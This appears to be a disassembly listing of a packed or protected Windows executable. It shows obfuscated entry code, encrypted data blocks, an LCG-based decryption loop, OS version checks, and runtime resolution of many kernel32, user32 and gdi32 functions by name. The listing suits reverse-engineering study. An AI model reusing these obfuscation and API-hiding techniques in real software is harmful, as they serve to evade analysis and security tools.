		dd 0E0000040h, 7461642Eh, 61h, 7110h, 0A0000h, 1C00h, 28600h
		dd 3 dup(0)
		dd 0E0000040h, 0B3h dup(0)
		dd 32000000h, 30353030h
		db 35h,	31h, 38h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near
		call	$+5
		pusha
		call	sub_48EB8D
		leave
		mov	ebp, 0BDAFECECh
		pop	ds
		xor	eax, [ebx-38D37179h]
		cmpsd
		hlt
start		endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C7h, 0FBh
		dd 0EBAC9813h, 52D84C31h, 348EEC70h, 0D5B0D49Bh, 0F66121F1h
		dd 1E34462Fh, 7A9AE354h, 60646CC8h, 1EF6E815h, 606470E3h
		dd 1EF6E815h
; ---------------------------------------------------------------------------
		jecxz	short loc_48EBEE

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_48EB7E	proc near		; CODE XREF: _4:0048EF39p _4:0048FCB0p ...
		jmp	sub_49589D
sub_48EB7E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4958B6
; ---------------------------------------------------------------------------
		jmp	loc_4958B6

; =============== S U B	R O U T	I N E =======================================



sub_48EB8D	proc near		; CODE XREF: start+6p
		call	loc_48E700
		jmp	sub_49EAB0
sub_48EB8D	endp

; ---------------------------------------------------------------------------
		jmp	sub_49EAB0
; ---------------------------------------------------------------------------
		dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 0F16B8650h
		dd 97153AEFh, 7A260882h, 89C5FCC8h, 0E94F1E3Eh,	20h, 0F3h
		dd 2060400h, 9E6h, 5 dup(0)
		dd 6489D51Ah, 12799D29h
		db 0E9h, 0E2h
; ---------------------------------------------------------------------------

loc_48EBEE:				; CODE XREF: _4:0048EB7Cj
		mov	dword ptr [ebp-312464A8h], 2E6D7A6Eh
		db	65h
		js	short near ptr dword_48EC60
		db	2Eh
		inc	edx
		dec	edi
		pop	eax
; ---------------------------------------------------------------------------
		db 0
		dd 18h dup(0)
dword_48EC60	dd 59h dup(0)		; CODE XREF: _4:0048EBF8j
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EDD0	proc near		; CODE XREF: sub_48E2E0+3DCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+78h], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+7Ch], 0
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_49F014	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_48EE12
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_49F00C	; RaiseException

loc_48EE12:				; CODE XREF: sub_48EDD0+2Fj
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_49F000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		add	eax, 18h
		push	eax
		call	ds:dword_49F000	; InitializeCriticalSection
		mov	ecx, [ebp+var_8]
		add	ecx, 30h
		push	ecx
		call	ds:dword_49F000	; InitializeCriticalSection
		mov	edx, [ebp+var_8]
		add	edx, 48h
		push	edx
		call	ds:dword_49F000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_48EDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48EE50	proc near		; CODE XREF: sub_493DD0+50p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4A2688
		mov	al, [eax+70h]
		pop	ebp
		retn
sub_48EE50	endp

; ---------------------------------------------------------------------------
		align 10h

loc_48EE60:				; CODE XREF: _4:0048E706p
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	ds:dword_4A2688, eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_48EE99
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4A2778	; RaiseException

loc_48EE99:				; CODE XREF: _4:0048EE86j
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp-8]
		push	ecx
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_48EEC2
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_4A2778	; RaiseException

loc_48EEC2:				; CODE XREF: _4:0048EEAFj
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4A2674, eax
		push	4
		push	2000h
		call	ds:dword_4A273C	; GetTickCount
		xor	edx, edx
		mov	ecx, 8000h
		div	ecx
		push	edx
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4A267C, eax
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4A2678, eax
		mov	edx, ds:dword_4A2674
		mov	dword ptr [edx], 19660Dh
		mov	eax, ds:dword_4A2678
		mov	dword ptr [eax], 3C6EF35Fh
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-4], 0
		push	2E0000h
		call	sub_48EB7E
		adc	eax, 3C65AC02h
		cmpxchg	[esi], cl
		xchg	edi, [edx+2E8519EFh]
		cmp	ecx, ebx
		xchg	eax, ecx
		db	66h
		out	0F9h, al	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		mov	[ecx+5Ch], ebp
		dec	edi
		db	36h
		pop	edi
		xlat
		sbb	ecx, [esi]
		add	[edx+7514A10Dh], eax
		dec	esp
		xor	[eax+73h], ecx
		mov	ds:48B5728Dh, al
		db	3Eh
		xor	[ebx+78h], ecx
		mov	dl, 8Ah
		fcomp	qword ptr [eax+ebx*8-38h]
		and	eax, 8467D355h
		xchg	eax, ecx
		sahf
		and	[ebp-136A0BBFh], al
		or	ah, [ebx-48D2FD85h]
		inc	edi
		mov	esp, 77849591h
		add	eax, 4C759C32h
		pop	ds
		xchg	eax, esi
		push	ds
		cmp	cl, [edi-1]
		and	al, 31h
		db	3Eh
		dec	ebx
		xor	[ebp+72h], ah
; ---------------------------------------------------------------------------
aDmqqh?2rr3EUul	db 'dqqH?23҅uE',8,'qEh',1Bh,0
		db '!',0
		db 0E8h, 0BCh, 0FBh
		dd 9090FFFFh, 0C985C933h, 558BEE75h, 8D8D52E8h,	0FFFFFF18h
		dd 41EFE8h, 216800h, 9BE80026h,	90FFFFFBh, 85C03390h, 6AEE75C0h
		dd 840D8B08h, 51004A26h, 0FF188D8Dh, 94E8FFFFh,	68000046h
		dd 26h,	0FFFB75E8h, 0DD7144FFh,	57C78D29h, 56C454C1h, 0E9957046h
		dd 2E4E5B6Ch, 7725EB5Bh, 0ADF7793Fh, 0D11C487Eh, 0C4A7F072h
		dd 3F5DFA9Bh, 75E9DCC2h, 0F7518C7h, 0B6514437h,	6D7A8355h
		dd 0C0339090h, 0EE75C085h, 26840D8Bh, 118B004Ah, 0A1F05589h
		dd 4A2684h, 4D89088Bh, 9468ECh,	0F3E80000h, 830000A2h
		dd 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh, 0FFFFFF14h
		dd 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh, 0FFFF1485h
		dd 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh,	4A2738h
		dd 0FF14958Bh, 428BFFFFh, 2680A310h, 85C7004Ah,	0FFFFFF10h
		dd 0
; ---------------------------------------------------------------------------
		mov	ecx, ds:dword_4A2680
		mov	[ebp-10Ch], ecx
		cmp	dword ptr [ebp-10Ch], 0
		jz	short loc_48F0E8
		cmp	dword ptr [ebp-10Ch], 1
		jz	short loc_48F0F7
		cmp	dword ptr [ebp-10Ch], 2
		jz	short loc_48F14E
		jmp	loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F0E8:				; CODE XREF: _4:0048F0CFj
		mov	dword ptr [ebp-0F0h], offset aWin32s ; "win32s"
		jmp	loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F0F7:				; CODE XREF: _4:0048F0D8j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_48F10F
		mov	dword ptr [ebp-0F0h], offset aWindows95_0 ; "Windows95"
		jmp	short loc_48F149
; ---------------------------------------------------------------------------

loc_48F10F:				; CODE XREF: _4:0048F101j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 0Ah
		jnz	short loc_48F127
		mov	dword ptr [ebp-0F0h], offset aWindows98_0 ; "Windows98"
		jmp	short loc_48F149
; ---------------------------------------------------------------------------

loc_48F127:				; CODE XREF: _4:0048F119j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 5Ah
		jnz	short loc_48F13F
		mov	dword ptr [ebp-0F0h], offset aWindowsme_0 ; "WindowsMe"
		jmp	short loc_48F149
; ---------------------------------------------------------------------------

loc_48F13F:				; CODE XREF: _4:0048F131j
		mov	dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)"

loc_48F149:				; CODE XREF: _4:0048F10Dj _4:0048F125j ...
		jmp	loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F14E:				; CODE XREF: _4:0048F0E1j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+4], 3
		jnz	short loc_48F169
		mov	dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)"
		jmp	loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F169:				; CODE XREF: _4:0048F158j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+4], 4
		jnz	short loc_48F181
		mov	dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)"
		jmp	short loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F181:				; CODE XREF: _4:0048F173j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+4], 5
		jnz	short loc_48F1E1
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_48F1A5
		mov	dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000"
		jmp	short loc_48F1DF
; ---------------------------------------------------------------------------

loc_48F1A5:				; CODE XREF: _4:0048F197j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_48F1BD
		mov	dword ptr [ebp-0F0h], offset aWindowsxp_0 ; "WindowsXP"
		jmp	short loc_48F1DF
; ---------------------------------------------------------------------------

loc_48F1BD:				; CODE XREF: _4:0048F1AFj
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 2
		jnz	short loc_48F1D5
		mov	dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET"
		jmp	short loc_48F1DF
; ---------------------------------------------------------------------------

loc_48F1D5:				; CODE XREF: _4:0048F1C7j
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"

loc_48F1DF:				; CODE XREF: _4:0048F1A3j _4:0048F1BBj ...
		jmp	short loc_48F1EB
; ---------------------------------------------------------------------------

loc_48F1E1:				; CODE XREF: _4:0048F18Bj
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"

loc_48F1EB:				; CODE XREF: _4:0048F0E3j _4:0048F0F2j ...
		mov	edx, [ebp-0ECh]
		mov	[ebp-108h], edx
		mov	eax, [ebp-108h]
		push	eax
		call	sub_4993DD
		add	esp, 4
		mov	ecx, ds:dword_4A2684
		mov	edx, [ecx+2Ch]
		mov	[ebp-0F4h], edx
		cmp	dword ptr [ebp-0F4h], 0
		jz	short loc_48F28F
		mov	eax, [ebp-0F4h]
		mov	[ebp-0FCh], eax
		mov	dword ptr [ebp-0F8h], 0
		jmp	short loc_48F245
; ---------------------------------------------------------------------------

loc_48F236:				; CODE XREF: _4:0048F28Dj
		mov	ecx, [ebp-0F8h]
		add	ecx, 1
		mov	[ebp-0F8h], ecx

loc_48F245:				; CODE XREF: _4:0048F234j
		cmp	dword ptr [ebp-0F8h], 80h
		jge	short loc_48F28F
		mov	edx, [ebp-0FCh]
		imul	edx, 19660Dh
		add	edx, 3C6EF35Fh
		mov	[ebp-0FCh], edx
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	edx, [ecx+eax*4]
		xor	edx, [ebp-0FCh]
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	[ecx+eax*4], edx
		jmp	short loc_48F236
; ---------------------------------------------------------------------------

loc_48F28F:				; CODE XREF: _4:0048F21Cj _4:0048F24Fj
		mov	edx, ds:dword_4A2684
		mov	eax, [edx+24h]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	ds:byte_4A2694,	al
		call	sub_495DC0
		mov	ecx, [ebp-14h]
		mov	[ebp+8], ecx
		cmp	ds:dword_4A6A54, 0
		jz	short loc_48F2CD
		push	0
		push	0
		push	0
		mov	edx, ds:dword_4A6A54
		push	edx
		call	ds:dword_4A2838	; PostMessageA

loc_48F2CD:				; CODE XREF: _4:0048F2B8j
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_48F2E0	proc near		; CODE XREF: sub_48E2E0+3BEp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_49F014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_48F30B
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_49F00C	; RaiseException

loc_48F30B:				; CODE XREF: sub_48F2E0+18j
		push	offset aClosehandle ; "CloseHandle"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26A4, eax
		push	offset aCreatefilea ; "CreateFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26A8, eax
		push	offset aCreatefilew ; "CreateFileW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26AC, eax
		push	offset aCreatefilemapp ; "CreateFileMappingA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26B0, eax
		push	offset aCreatefilema_0 ; "CreateFileMappingW"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26B4, eax
		push	offset aCreateprocessa ; "CreateProcessA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26B8, eax
		push	offset aDebugbreak ; "DebugBreak"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26BC, eax
		push	offset aDeletefilea ; "DeleteFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26C0, eax
		push	offset aEntercriticals ; "EnterCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26C4, eax
		push	offset aExitprocess ; "ExitProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26C8, eax
		push	offset aFindclose ; "FindClose"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26CC, eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26D0, eax
		push	offset aFindnextfilea ;	"FindNextFileA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26D4, eax
		push	offset aFlushfilebuffe ; "FlushFileBuffers"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26D8, eax
		push	offset aFormatmessagea ; "FormatMessageA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26DC, eax
		push	offset aFreelibrary ; "FreeLibrary"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26E0, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26E4, eax
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26E8, eax
		push	offset aGetenvironment ; "GetEnvironmentVariableA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26EC, eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26F0, eax
		push	offset aGetfileattribu ; "GetFileAttributesA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26F4, eax
		push	offset aGetfileattri_0 ; "GetFileAttributesW"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26F8, eax
		push	offset aGetfileinforma ; "GetFileInformationByHandle"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A26FC, eax
		push	offset aGetfilesize ; "GetFileSize"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2700, eax
		push	offset aGetfiletime ; "GetFileTime"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2704, eax
		push	offset aGetfullpathnam ; "GetFullPathNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2708, eax
		push	offset aGetfullpathn_0 ; "GetFullPathNameW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A270C, eax
		push	offset aGetlasterror ; "GetLastError"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2710, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2714, eax
		push	offset aGetmodulehandl ; "GetModuleHandleA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2718, eax
		push	offset aGetprivateprof ; "GetPrivateProfileIntA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A271C, eax
		push	offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2720, eax
		push	offset aGetprivatepr_1 ; "GetPrivateProfileStringA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2724, eax
		push	offset aGetprocaddress ; "GetProcAddress"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2728, eax
		push	offset aGetsystemtimea ; "GetSystemTimeAsFileTime"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A272C, eax
		push	offset aGettempfilenam ; "GetTempFileNameA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2730, eax
		push	offset aGettemppatha ; "GetTempPathA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2734, eax
		push	offset aGetversionexa ;	"GetVersionExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2738, eax
		push	offset aGettickcount ; "GetTickCount"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A273C, eax
		push	offset aHeapalloc ; "HeapAlloc"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2740, eax
		push	offset aHeapfree ; "HeapFree"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2744, eax
		push	offset aHeapcreate ; "HeapCreate"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2748, eax
		push	offset aInitializecrit ; "InitializeCriticalSection"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A274C, eax
		push	offset aDeletecritical ; "DeleteCriticalSection"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2750, eax
		push	offset aLeavecriticals ; "LeaveCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2754, eax
		push	offset aLoadlibrarya ; "LoadLibraryA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A275C, eax
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2758, eax
		push	offset aLocalalloc ; "LocalAlloc"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2760, eax
		push	offset aLocalfree ; "LocalFree"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2764, eax
		push	offset aLockfile ; "LockFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2768, eax
		push	offset aMapviewoffile ;	"MapViewOfFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A276C, eax
		push	offset aMultibytetowid ; "MultiByteToWideChar"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2770, eax
		push	offset aOpenprocess ; "OpenProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2774, eax
		push	offset aRaiseexception ; "RaiseException"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2778, eax
		push	offset aReadfile ; "ReadFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A277C, eax
		push	offset aSetenvironment ; "SetEnvironmentVariableA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2780, eax
		push	offset aSetevent ; "SetEvent"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2784, eax
		push	offset aSetfilepointer ; "SetFilePointer"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2788, eax
		push	offset aSetlasterror ; "SetLastError"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A278C, eax
		push	offset aSetunhandledex ; "SetUnhandledExceptionFilter"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2790, eax
		push	offset aSleep	; "Sleep"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2794, eax
		push	offset aTerminateproce ; "TerminateProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A2798, eax
		push	offset aUnlockfile ; "UnlockFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A279C, eax
		push	offset aUnmapviewoffil ; "UnmapViewOfFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27A0, eax
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27A4, eax
		push	offset aVirtualfree ; "VirtualFree"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27A8, eax
		push	offset aVirtualprotect ; "VirtualProtect"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27AC, eax
		push	offset aVirtualquery ; "VirtualQuery"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27B0, eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27B4, eax
		push	offset aWidechartomult ; "WideCharToMultiByte"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27B8, eax
		push	offset aWritefile ; "WriteFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27BC, eax
		push	offset aLstrcmpia ; "lstrcmpiA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27C0, eax
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_48F8D0
		push	0
		push	0
		push	0
		push	0EF0000F7h
		call	ds:dword_49F00C	; RaiseException

loc_48F8D0:				; CODE XREF: sub_48F2E0+5DDj
		push	offset aChangedisplays ; "ChangeDisplaySettingsA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27C4, eax
		push	offset aCharupperbuffa ; "CharUpperBuffA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27C8, eax
		push	offset aLoadimagea ; "LoadImageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27CC, eax
		push	offset aMessageboxa_0 ;	"MessageBoxA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27D0, eax
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27D4, eax
		push	offset aWvsprintfa ; "wvsprintfA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27D8, eax
		push	offset aGdi32_dll_0 ; "gdi32.dll"
		call	ds:dword_4A275C	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_48F96D
		push	0
		push	0
		push	0
		push	0EF0000F6h
		call	ds:dword_49F00C	; RaiseException

loc_48F96D:				; CODE XREF: sub_48F2E0+67Aj
		push	offset aAddfontresourc ; "AddFontResourceA"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27DC, eax
		push	offset aCreatecompat_0 ; "CreateCompatibleDC"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27E0, eax
		push	offset aCreatedibsec_0 ; "CreateDIBSection"
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27E4, eax
		push	offset aDeletedc_0 ; "DeleteDC"
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_49F004	; GetProcAddress
		mov	ds:dword_4A27E8, eax
		push	offset aRemovefontreso ; "RemoveFontResourceA"
		mov	ecx, [ebp+var_8]
		push	ecx
